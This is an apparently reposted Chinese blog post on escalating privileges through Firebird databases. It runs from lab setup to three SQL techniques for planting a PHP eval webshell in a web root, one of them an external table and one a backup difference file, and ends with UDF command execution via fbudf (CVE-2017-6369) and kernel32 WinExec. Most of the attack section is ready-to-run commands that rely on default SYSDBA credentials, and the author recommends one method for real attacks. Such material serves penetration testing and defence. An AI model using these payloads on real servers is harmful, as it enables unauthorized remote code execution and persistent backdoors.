不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

Firebird数据库提权姿势总结

在一次端口探测中,发现了3050端口,第一时间没想到是什么服务在运行,查了查,居然是冷门的Firebird。
翻看了网上的资料,几乎没有。在国外看到一个汇总贴,但里面存在几处报错情况,作者却以某些情况下可能会执行成功,一笔带过了,而报错原因就在官方文档写着,属于某些较新版本的安全调整。
Firebird实在是冷门,在某友人鼓励下,遂有此文。
1/Firebird数据库简介
Firebird是一个跨平台的关系数据库系统,目前能够运行在Windows、linux和各种Unix操作系统上,提供了大部分SQL-99标准的功能。它既能作为多用户环境下的数据库服务器运行,也提供嵌入式数据库的实现。
Firebird脱胎于Borland公司的开源版数据库Interbase6.0,是一个完全非商业化的产品,用C和C++开发。由于与interbase的血缘关系,大部分interbase的开发工具可以直接应用到Firebird开发中。Firebird使用MozillaPublic License v.1.1许可证发行。
一个Firebird数据库服务器能够管理多个独立的数据库,每一个数据库同时可支持多个客户端连接。

准备环境和工具:

安装Firebird,我选择在Windows Server 2019安装了Firebird服务端。
安装包地址:
“http://firebirdsql.org/en/firebird-3-0-7/”
靶机IP:10.211.55.5 ,部署好以后重启,会默认开放3050端口。
在Kali安装Firebird客户端,首先执行:
sudo apt-get -y install firebird3.0-utils
也可以试试跨平台的图形化工具flamerobin。
地址:
“https://github.com/mariuz/flamerobin/releases”
安装过程中,默认以SuperServer模式运行,如果一直按Next,注意看英文小字,不输入用户名和密码,默认用户名就是SYSDBA,默认密码masterkey。
安装好之后重启,对外开放默认端口3050。
创建或者第一次连接数据库的同时,必须使用该用户名以及密码来实现访问,否则会报错。具体命令如下:
SQL>createdatabase '[新建数据库的路径以及名称,后缀名称为.FDB]'user 'sysdba' password 'masterkey';
需要说明的是,一条命令一定是以“;”结束的。否则会在下一行显示“CON>”,即继续之前的命令。
快速入门——官方文档参考:
“https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html”
2/3种姿势
介绍一下Firebird写webshell的3种姿势。

常规的SQL语句写webshell

这一种方法通用性最好,可以在足够权限的路径下,创建任意后缀的文件。但缺点就是生成的webshell体积大,创建简单的一句话木马,大小就超过1Mb,有许多数据库写入的脏字符。
如果你的webshell代码特别多,选用下文的第三种方法。执行完几行SQL语句,最后要EXIT才会成功写入文件。
CREATEDATABASE '10.211.55.5/3050:C:\webroot\shell.php' user 'SYSDBA'password 'masterkey';
CREATETABLE a ( x BLOB);
INSERTINTO a VALUES ('<?php eval(@$_POST["pass"]);?>');COMMIT;
EXIT;

外部表写webshell

先创建一个不存在的数据库文件,然后创建外部表。外部表就是我们的webshell,再对其写入内容,但是由于firebird.conf的默认安全配置,写入被阻止了。
CREATEDATABASE '10.211.55.5/3050:C:\non-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a EXTERNAL 'C:\wwwroot\mytest.asp' ( x char(2000));
INSERTINTO a values ('<%= date() %>');
不推荐实战使用,非默认配置才能成功,需要管理员修改配置文件firebird.conf,参考官方文档说明:
“https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external”

增量写shell

先创建一个不存在的数据库文件,再创建额外的增量文件,执行备份,写入webshell内容,这种方法在最新的Firebird测试下有效,虽然还有脏字符,但是生成的webshell文件只有64KB,能正常执行,推荐采用这种方式提权。
CREATEDATABASE '10.211.55.5/3050:C:\temp\non-existent-file' user 'SYSDBA'password 'masterkey';
CREATETABLE a( x blob);
ALTERDATABASE ADD DIFFERENCE FILE 'C:\webroot\shellC.php';
ALTERDATABASE BEGIN BACKUP;
INSERTINTO a VALUES ('<?php eval(@$_POST["pass"]);?>');
COMMIT;
EXIT;
3/UDF提权

Linux的UDF提权CVE-2017-6369这个漏洞,影响范围Firebird2.5.x< 2.5.7 和3.0.x <3.0.2,该漏洞是由于默认安全配置是”UdfAccess= Restrict UDF“,允许任意权限的数据库用户通过调用fbudf.so执行代码。攻击代码如下:

SQL>DECLARE EXTERNAL FUNCTION exec cstring(4096) RETURNS integer BY VALUEENTRY_POINT 'system' MODULE_NAME 'fbudf';
SQL>SELECT FIRST 1 exec('<COMMAND>') FROM any_table LIMIT 1;

windows的UDF提权

对应的windows的UDF提权攻击代码如下,在新版本中被限制了:
CREATEDATABASE '10.211.55.5/3050:C:\temp\non-existent-file1' user 'SYSDBA'password 'masterkey';
DECLAREEXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BYVALUE ENTRY_POINT 'WinExec' MODULE_NAME'c:\windows\system32\kernel32.dll';
SELECTFIRST 1 EXEC('<COMMAND>', 1) FROM any_table LIMIT 1;
参考文档:
“https://firebirdsql.org/rlsnotesh/config-fb-conf.html”
亲测了一下,可以调用Firebird安装目录UDF文件夹的dll文件,比如:
C:\ProgramFiles\Firebird\Firebird30\UDF\fbudf.dll
Firebird的安全防范手段和高版本的MYSQL一样,要完成UDF提权,就要配合其他漏洞了。
4/总结
本文主要介绍了Firebird数据库提权,包括3种SQL语句写webshell的姿势,以及不同平台下的UDF提权。其他的RCE漏洞可以参考metasploit攻击模块,但是都挺有年代感了。
以下是参考资料:
“https://www.firebirdsql.org/file/documentation/html/en/firebirddocs/qsg3/firebird-3-quickstartguide.html”
“https://www.infosecmatter.com/firebird-database-exploitation/”
“https://www.firebirdsql.org/file/documentation/html/en/refdocs/fblangref25/firebird-25-language-reference.html#fblangref25-ddl-tbl-external”
“http://tracker.firebirdsql.org/browse/CORE-5474”

转自:酒仙桥六号部队

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » Firebird数据库提权姿势总结

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏